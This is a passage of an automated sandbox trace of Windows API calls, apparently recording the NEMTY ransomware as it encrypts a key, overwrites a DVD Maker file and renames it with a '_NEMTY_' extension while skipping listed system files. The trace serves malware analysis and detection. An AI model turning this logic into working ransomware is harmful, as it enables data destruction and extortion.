lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0051.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="directshowtap.ax", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshowtap.ax", lpUsedDefaultChar=0x0) returned 16 [0051.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0051.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0051.481] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.481] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0051.481] Sleep (dwMilliseconds=0x5) [0051.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xd256df90, dwHighDateTime=0x1d561e7)) [0051.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xd256df90, dwHighDateTime=0x1d561e7)) [0051.493] GetLastError () returned 0x5 [0051.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0051.494] GetLastError () returned 0x5 [0051.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0051.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.494] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0051.494] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0051.494] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0051.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0051.494] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="Jlm4rCO/EdLZUOSHfZlSOqTEc3c7VyVIkaNfWjGUgKJfeooLdkptWTJPvuxYsTTB\r\nvnzGnR1BwTgBs4e6xqGnwre1FSCOGnZ9+EnnuWAb92cTthyRDHP9r08kj7Fz41yF\r\nVa14UegvaiHZRE7W6Q6s308kDXlfcJspJTPJilr9/KtyB5YA11mPXfqP2spNEu/n\r\nY97z+1IKCrZx7yb/GGMFg9xzFkKbW36s+RM0OOM7TePncyEj3wtT4mfIlqY4sJFQ\r\nPa585ZfVyTZnHboRKp338sZBpdqFMOa/DicfgWAgiLSt0oM6/pZIwrV+vyPjquU9\r\n4yB3MA6LleGzPTjiMkf3AQ==\r\n", pcchString=0x653f2dc) returned 1 [0051.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0051.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0051.494] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0051.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0051.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0051.494] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0051.494] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0051.494] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0051.494] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.495] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.504] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.504] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.504] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.513] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.513] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.513] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.522] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.522] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.523] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.532] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.532] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.532] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.563] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.581] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.581] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.591] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0051.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0051.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.603] CloseHandle (hObject=0xffffffff) returned 0 [0051.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f915f8 [0051.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94370 [0051.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x63401c0 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0051.603] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\directshowtap.ax._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax._nemty_kgobjgd_")) returned 0 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.603] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.603] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2=".") returned 1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="..") returned 1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="...") returned 1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="windows") returned -1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="$RECYCLE.BIN") returned 1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="rsa") returned -1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="NTDETECT.COM") returned -1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="ntldr") returned -1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="MSDOS.SYS") returned -1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="IO.SYS") returned -1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="boot.ini") returned 1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="boot.ini") returned 1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="AUTOEXEC.BAT") returned 1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="ntuser.dat") returned -1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="desktop.ini") returned 1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="CONFIG.SYS") returned 1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="RECYCLER") returned -1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="BOOTSECT.BAK") returned 1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="bootmgr") returned 1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="programdata") returned -1 [0051.604] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="appdata") returned 1 [0051.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVDMaker.exe", lpUsedDefaultChar=0x0) returned 12 [0051.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0051.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVDMaker.exe", lpUsedDefaultChar=0x0) returned 12 [0051.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0051.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVDMaker.exe", lpUsedDefaultChar=0x0) returned 12 [0051.604] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0051.604] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVDMaker.exe", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVDMaker.exe", lpUsedDefaultChar=0x0) returned 12 [0051.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0051.605] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0051.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0051.605] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="...") returned 1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="$RECYCLE.BIN") returned 1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="rsa") returned -1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="NTDETECT.COM") returned -1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="ntldr") returned -1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="MSDOS.SYS") returned -1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="IO.SYS") returned -1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="boot.ini") returned 1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="AUTOEXEC.BAT") returned 1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="desktop.ini") returned 1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="CONFIG.SYS") returned 1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="RECYCLER") returned -1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="BOOTSECT.BAK") returned 1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="programdata") returned -1 [0051.605] lstrcmpiW (lpString1="en-US", lpString2="appdata") returned 1 [0051.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0051.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="en-US", cchWideChar=5, lpMultiByteStr=0x653f590, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="en-US", 